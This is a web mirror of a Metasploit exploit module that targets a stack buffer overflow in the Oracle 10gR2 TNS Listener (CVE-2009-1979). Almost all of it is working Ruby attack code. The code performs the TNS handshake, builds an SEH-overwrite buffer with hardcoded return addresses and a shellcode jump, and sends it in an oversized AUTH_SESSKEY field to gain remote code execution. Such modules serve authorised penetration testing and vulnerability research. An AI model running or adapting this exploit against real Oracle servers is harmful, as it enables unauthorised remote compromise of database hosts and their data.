Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/oracle/tns_auth_sesskey.rb
19513 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::TNS
10
include Msf::Exploit::Remote::Seh
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Oracle 10gR2 TNS Listener AUTH_SESSKEY Buffer Overflow',
17
'Description' => %q{
18
This module exploits a stack buffer overflow in Oracle. When
19
sending a specially crafted packet containing a long AUTH_SESSKEY value
20
to the TNS service, an attacker may be able to execute arbitrary code.
21
},
22
'Author' => [ 'jduck' ],
23
'License' => MSF_LICENSE,
24
'References' => [
25
[ 'CVE', '2009-1979'],
26
[ 'OSVDB', '59110'],
27
[ 'BID', '36747'],
28
[ 'URL', 'http://blogs.conus.info/node/28' ],
29
[ 'URL', 'http://blogs.conus.info/node/35' ],
30
[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuoct2009.html' ],
31
],
32
'Privileged' => true,
33
'DefaultOptions' => {
34
'EXITFUNC' => 'seh',
35
},
36
'Payload' => {
37
'Space' => 0x17e,
38
'BadChars' => "", # none, thx memcpy!
39
'StackAdjustment' => -3500,
40
},
41
'Platform' => 'win',
42
'Targets' => [
43
[ 'Automatic', {} ],
44
45
[
46
'Oracle 10.2.0.1.0 Enterprise Edition',
47
{
48
# Untested
49
'Ret' => 0x011b0528 # p/p/r in oracle.exe v10.2.0.3
50
}
51
],
52
[
53
'Oracle 10.2.0.4.0 Enterprise Edition',
54
{
55
# Tested OK - 2010-Jan-20 - jduck
56
'Ret' => 0x01347468 # p/p/r in oracle.exe v10.2.0.3
57
}
58
]
59
],
60
'DefaultTarget' => 0,
61
'DisclosureDate' => '2009-10-20',
62
'Notes' => {
63
'Reliability' => UNKNOWN_RELIABILITY,
64
'Stability' => UNKNOWN_STABILITY,
65
'SideEffects' => UNKNOWN_SIDE_EFFECTS
66
}
67
)
68
)
69
70
register_options(
71
[
72
OptString.new('SID', [ true, 'The target database SID', 'ORCL']),
73
Opt::RPORT(1521)
74
]
75
)
76
end
77
78
def check
79
version = tns_version
80
if (not version)
81
vprint_error("Unable to detect the Oracle version!")
82
return Exploit::CheckCode::Unknown
83
end
84
vprint_status("Oracle version reply: " + version)
85
return Exploit::CheckCode::Appears if (version =~ /32-bit Windows: Version 10\.2\.0\.1\.0/)
86
return Exploit::CheckCode::Appears if (version =~ /32-bit Windows: Version 10\.2\.0\.4\.0/)
87
88
return Exploit::CheckCode::Safe
89
end
90
91
def exploit
92
mytarget = nil
93
if target.name =~ /Automatic/
94
print_status("Attempting automatic target detection...")
95
96
version = tns_version
97
if (not version)
98
fail_with(Failure::NoTarget, "Unable to detect the Oracle version!")
99
end
100
101
if (version =~ /32-bit Windows: Version 10\.2\.0\.1\.0/)
102
mytarget = targets[1]
103
elsif (version =~ /32-bit Windows: Version 10\.2\.0\.4\.0/)
104
mytarget = targets[2]
105
end
106
107
if (not mytarget)
108
fail_with(Failure::NoTarget, "Unable to automatically detect the target")
109
end
110
111
print_status("Automatically detected target \"#{mytarget.name}\"")
112
else
113
mytarget = target
114
115
print_status("Attacking using target \"#{mytarget.name}\"")
116
end
117
118
username = rand_text_alphanumeric(0x1c)
119
120
connect
121
122
print_status("Sending NSPTCN packet ...")
123
connect_data = "" +
124
"(DESCRIPTION=" +
125
"(CONNECT_DATA=" +
126
"(SERVICE_NAME=#{datastore['SID']})" +
127
"(CID=" +
128
"(PROGRAM=client.exe)" +
129
"(HOST=client_host)" +
130
")" +
131
")" +
132
"(ADDRESS=" +
133
"(PROTOCOL=TCP)" +
134
"(PORT=1521)" +
135
")" +
136
")"
137
nsptcn_pkt = tns_packet(connect_data)
138
sock.put(nsptcn_pkt)
139
140
# read NSPTRS (expecting 8 bytes)
141
res = sock.get_once(-1, 1)
142
# print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))
143
144
print_status("Re-sending NSPTCN packet ...")
145
sock.put(nsptcn_pkt)
146
147
# read NSPTAC (expecting 32 bytes)
148
begin
149
res = sock.get_once(-1, 1)
150
rescue ::Errno::ECONNRESET, EOFError
151
fail_with(Failure::Unknown, "OOPS, maybe the service hasn't started completely yet, try again...")
152
end
153
# print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))
154
155
# send NA
156
print_status("Sending NA packet ...")
157
na_stuff = [0xdeadbeef].pack('N') +
158
"\x00\x92" +
159
"\x0B\x10\x06\x00\x00\x04\x00\x00\x04\x00\x03\x00\x00\x00\x00\x00" +
160
"\x04\x00\x05\x0B\x10\x06\x00\x00\x08\x00\x01\x00\x00\x0A\xF8\x71" +
161
"\xC2\x6C\xE1\x00\x12\x00\x01\xDE\xAD\xBE\xEF\x00\x03\x00\x00\x00" +
162
"\x04\x00\x04\x00\x01\x00\x01\x00\x02\x00\x01\x00\x03\x00\x00\x00" +
163
"\x00\x00\x04\x00\x05\x0B\x10\x06\x00\x00\x02\x00\x03\xE0\xE1\x00" +
164
"\x02\x00\x06\xFC\xFF\x00\x02\x00\x02\x00\x00\x00\x00\x00\x04\x00" +
165
"\x05\x0B\x10\x06\x00\x00\x0C\x00\x01\x00\x11\x06\x10\x0C\x0F\x0A" +
166
"\x0B\x08\x02\x01\x03\x00\x03\x00\x02\x00\x00\x00\x00\x00\x04\x00" +
167
"\x05\x0B\x10\x06\x00\x00\x03\x00\x01\x00\x03\x01"
168
na_pkt = nsptda_packet(na_stuff)
169
sock.put(na_pkt)
170
171
# read response (expecting 127 bytes)
172
res = sock.get_once(-1, 1)
173
# print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))
174
175
# send TTIPRO
176
print_status("Sending TTIPRO packet ...")
177
ttipro_stuff = "\x01\x06\x05\x04\x03\x02\x01\x00" +
178
"IBMPC/WIN_NT-8.1.0" +
179
"\x00"
180
ttipro_pkt = nsptda_packet(ttipro_stuff)
181
sock.put(ttipro_pkt)
182
183
# read response (expecting 179 bytes)
184
res = sock.get_once(-1, 1)
185
# print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))
186
187
# send TTIDTY
188
print_status("Sending TTIDTY packet ...")
189
ttidty_stuff = "\x02\xB2\x00\xB2\x00\xD2" +
190
"\x25\x06\x01\x01\x01\x0D\x01\x01\x05\x01\x01\x01\x01\x01\x01\x01" +
191
"\x7F\xFF\x03\x09\x03\x03\x01\x00\x7F\x01\x1F\xFF\x01\x03\x01\x01" +
192
"\x3F\x01\x01\x05\x00\x01\x07\x02\x01\x00\x00\x18\x00\x01\x80\x00" +
193
"\x00\x00\x3C\x3C\x3C\x80\x00\x00\x00\xD0\x07"
194
ttidty_pkt = nsptda_packet(ttidty_stuff)
195
sock.put(ttidty_pkt)
196
197
# read response (expecting 22 bytes)
198
res = sock.get_once(-1, 1)
199
# print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))
200
201
# send first auth pkt (call OSESSKEY)
202
print_status("Calling OSESSKEY ...")
203
params = []
204
dtyauth_pkt = dtyauth_packet(0x76, username, 1, params)
205
sock.put(dtyauth_pkt)
206
207
# read RPA (expecting 225 bytes)
208
res = sock.get_once(-1, 1)
209
# print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))
210
211
# build exploit buffer
212
print_status("Calling kpoauth with long AUTH_SESSKEY ...")
213
sploit = payload.encoded
214
sploit << rand_text_alphanumeric(0x19a - 0x17e)
215
sploit << generate_seh_record(mytarget.ret)
216
distance = payload_space + 8 + 5
217
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
218
219
# ensure bad ptr is derefed
220
value = rand(0x3fffffff) | 0xc0000000
221
sploit[0x17e, 4] = [value].pack('V')
222
223
# send overflow trigger packet (call kpoauth)
224
params = []
225
params << {
226
'Name' => 'AUTH_SESSKEY',
227
'Value' => sploit,
228
'Flag' => 1
229
}
230
dtyauth_pkt = dtyauth_packet(0x73, username, 0x121, params)
231
sock.put(dtyauth_pkt)
232
233
# expecting disconnect...
234
if (res = sock.get_once(-1, 1))
235
print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))
236
fail_with(Failure::NoTarget, "Try to run the exploit again.. If that doesn't work, the target host may be patched :-/")
237
end
238
239
handler
240
disconnect
241
end
242
243
def tns_version
244
connect
245
version = "(CONNECT_DATA=(COMMAND=VERSION))"
246
pkt = tns_packet(version)
247
sock.put(pkt)
248
sock.get_once
249
res = sock.get_once(-1, 1)
250
disconnect
251
return res
252
rescue EOFError
253
return nil
254
end
255
256
def nsptda_packet(data)
257
pkt = [data.length + 10].pack('n') # NSPHDLEN
258
pkt << [0].pack('n') # NSPHDPSM
259
pkt << [6].pack('C') # pkt type
260
pkt << [0].pack('C') # reserved
261
pkt << [0].pack('n') # NSPHDHSM
262
pkt << [0].pack('n') # NSPDAFLG
263
pkt << data
264
return pkt
265
end
266
267
def dtyauth_packet(opi, user, flag, params)
268
dunno = 2
269
dunno = 3 if opi == 0x73
270
271
pkt = [3, opi, dunno].pack('CCC')
272
273
pkt << [-2].pack('V')
274
pkt << [user.length].pack('V')
275
pkt << [flag].pack('V')
276
277
pkt << [-2].pack('V')
278
pkt << [params.length].pack('V')
279
pkt << [-2].pack('V')
280
pkt << [-2].pack('V')
281
282
pkt << [user.length].pack('C')
283
pkt << user
284
285
params.each { |param|
286
name = param['Name']
287
pkt << [name.length].pack('V')
288
pkt << [name.length].pack('C')
289
pkt << name
290
291
val = param['Value']
292
pkt << [val.length].pack('V')
293
if (val.length > 0)
294
if (val.length > 0xff)
295
pkt << chunkify(val)
296
else
297
pkt << [val.length].pack('C')
298
pkt << val
299
end
300
end
301
302
flag = param['Flag']
303
pkt << [flag].pack('V')
304
}
305
return nsptda_packet(pkt)
306
end
307
308
def chunkify(buf)
309
ret = ""
310
if buf.length > 0xff
311
ret << "\xfe"
312
313
while (buf.length > 0xff)
314
ret << "\xff"
315
ret << buf.slice!(0, 0xff)
316
end
317
if buf.length > 0
318
ret << [buf.length].pack('C')
319
ret << buf
320
end
321
322
ret << "\x00"
323
else
324
ret << [buf.length].pack('C')
325
ret << buf
326
end
327
return ret
328
end
329
end
330
331